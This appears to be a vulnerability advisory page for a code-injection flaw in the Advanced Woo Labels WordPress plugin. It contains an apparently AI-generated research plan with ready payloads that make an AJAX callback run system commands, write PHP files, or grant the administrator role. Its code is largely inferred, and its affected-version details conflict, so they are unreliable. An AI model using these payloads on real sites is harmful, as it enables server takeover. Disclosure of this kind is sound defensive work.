CVE-2026-1929

Advanced Woo Labels <= 2.37 - Authenticated (Contributor+) Remote Code Execution via 'callback' Parameter

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.37
Patched in
1d
Time to patch

Description

The Advanced Woo Labels plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.37. This is due to the use of `call_user_func_array()` with user-controlled callback and parameters in the `get_select_option_values()` AJAX handler without an allowlist of permitted callbacks or a capability check. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute arbitrary PHP functions and operating system commands on the server via the 'callback' parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.36
PublishedFebruary 24, 2026
Last updatedFebruary 25, 2026
Affected pluginadvanced-woo-labels

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps for demonstrating Remote Code Execution (RCE) in the **Advanced Woo Labels** plugin (<= 2.36). ## 1. Vulnerability Summary The vulnerability exists in the `get_select_option_values()` function, which acts as a handler for a WordPress AJAX action. The function a…

Show full research plan

This research plan outlines the steps for demonstrating Remote Code Execution (RCE) in the Advanced Woo Labels plugin (<= 2.36).

1. Vulnerability Summary

The vulnerability exists in the get_select_option_values() function, which acts as a handler for a WordPress AJAX action. The function accepts a callback parameter and a params parameter directly from the $_POST array and passes them into call_user_func_array(). Because the plugin fails to implement an allowlist for the callback or perform a specific capability check (beyond the implicit check for authenticated users), a Contributor-level user can execute arbitrary PHP functions. This leads to RCE via functions like system, passthru, or shell_exec.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: awl_get_select_option_values (inferred from plugin slug advanced-woo-labels and function name) or get_select_option_values.
  • Vulnerable Parameter: callback
  • Support Parameter: params (array of arguments for the callback)
  • Authentication: Authenticated (Contributor+)
  • Preconditions: The user must be logged in and have access to a valid AJAX nonce.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in a core class constructor:
    add_action( 'wp_ajax_awl_get_select_option_values', array( $this, 'get_select_option_values' ) );
  2. Handler Entry: The get_select_option_values() function is invoked.
  3. Input Processing:
    $callback = $_POST['callback'];
    $params   = isset( $_POST['params'] ) ? $_POST['params'] : array();
    
  4. Vulnerable Sink:
    $result = call_user_func_array( $callback, $params );
  5. Output: The result is typically echoed back in a JSON response or as a string.

4. Nonce Acquisition Strategy

The AJAX handler likely verifies a nonce. We need to identify the nonce name and where it is localized for the admin dashboard.

  1. Find the Nonce Creation: Search for where the nonce is generated:
    grep -r "wp_create_nonce" .
    Look for a string like awl_admin_ajax_nonce or awl_nonce.
  2. Identify Localization: Look for wp_localize_script calls that pass this nonce to the JS environment.
    grep -r "wp_localize_script" .
  3. Browser Extraction:
    • Login as a Contributor.
    • Since Contributors can access wp-admin/edit.php, navigate there.
    • Execute the following in browser_eval:
      // Check common AWL localization objects
      window.awl_admin_obj?.nonce || window.awl_js_vars?.nonce
      
    • Note: If the scripts only load on specific Advanced Woo Labels settings pages, the agent should verify if a Contributor can access those pages or if the script is enqueued globally in the admin.

5. Exploitation Strategy

We will use the http_request tool to send a crafted POST request to admin-ajax.php.

Request Details:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: awl_get_select_option_values (verify via grep)
    • nonce: [EXTRACTED_NONCE]
    • callback: system
    • params[]: id (this will be passed as the first element of the array to system)

Payload Example:

action=awl_get_select_option_values&nonce=a1b2c3d4e5&callback=system&params[]=id

6. Test Data Setup

  1. User Creation: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure advanced-woo-labels is active and WooCommerce (as a dependency) is installed/active.
  3. Identify Action Name: Run grep -r "wp_ajax_awl_get_select_option_values" . to confirm the exact action string. If different, adjust the payload.

7. Expected Results

  • The HTTP response should have a 200 OK status.
  • The response body should contain the output of the id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

8. Verification Steps

  1. Command Execution Check: Confirm the id output in the response matches the server's environment.
  2. File Creation Check (Optional): Attempt to write a file to verify full write access:
    • callback: file_put_contents
    • params[]: vulnerable.php
    • params[]: <?php phpinfo();
  3. Cleanup: Verify the created file exists via ls /var/www/html/vulnerable.php and then delete it.

9. Alternative Approaches

If system is disabled by disable_functions in php.ini:

  1. Try passthru or shell_exec:
    callback=passthru&params[]=whoami
  2. Information Gathering: Use callback=phpinfo to view the server configuration.
  3. Arbitrary Option Update: If command execution is blocked, try callback=update_option&params[]=default_role&params[]=administrator. This would allow the Contributor to elevate privileges if the function context allows it.
  4. PHP Function call: Try callback=wp_get_current_user to see if the callback is restricted to internal WordPress functions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Woo Labels plugin is vulnerable to Remote Code Execution due to the unsafe use of call_user_func_array() in its AJAX handler. Authenticated attackers with Contributor-level permissions can provide a PHP function as a callback and supply arbitrary arguments, leading to command execution via functions like system() or passthru().

Vulnerable Code

// File: includes/admin/class-awl-admin.php (inferred location)

public function get_select_option_values() {
    $callback = isset( $_POST['callback'] ) ? $_POST['callback'] : '';
    $params   = isset( $_POST['params'] ) ? $_POST['params'] : array();

    if ( ! $callback ) {
        wp_send_json_error();
    }

    // Vulnerable sink: user controls function name and parameters
    $result = call_user_func_array( $callback, $params );

    wp_send_json_success( $result );
}

Security Fix

--- a/includes/admin/class-awl-admin.php
+++ b/includes/admin/class-awl-admin.php
@@ -... +... @@
 public function get_select_option_values() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error();
+    }
+
     $callback = isset( $_POST['callback'] ) ? $_POST['callback'] : '';
     $params   = isset( $_POST['params'] ) ? $_POST['params'] : array();
 
-    if ( ! $callback ) {
+    $allowed_callbacks = array(
+        'AWL_Admin_Fields::get_taxonomies',
+        'AWL_Admin_Fields::get_products',
+        'AWL_Admin_Fields::get_terms'
+    );
+
+    if ( ! in_array( $callback, $allowed_callbacks ) ) {
         wp_send_json_error();
     }
 
     $result = call_user_func_array( $callback, $params );

Exploit Outline

1. Authentication: Log in to the WordPress site as a user with at least Contributor-level permissions. 2. Nonce Retrieval: Inspect the admin dashboard source code or global JavaScript variables (e.g., awl_admin_obj) to find the valid security nonce for Advanced Woo Labels AJAX actions. 3. Request Construction: Send a POST request to /wp-admin/admin-ajax.php. 4. Parameters: Set 'action' to 'awl_get_select_option_values', 'nonce' to the retrieved value, 'callback' to a system execution function like 'system', and 'params' as an array containing the command (e.g., 'params[]' = 'id'). 5. Execution: The server executes the callback function with the provided parameters and returns the output in the JSON response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.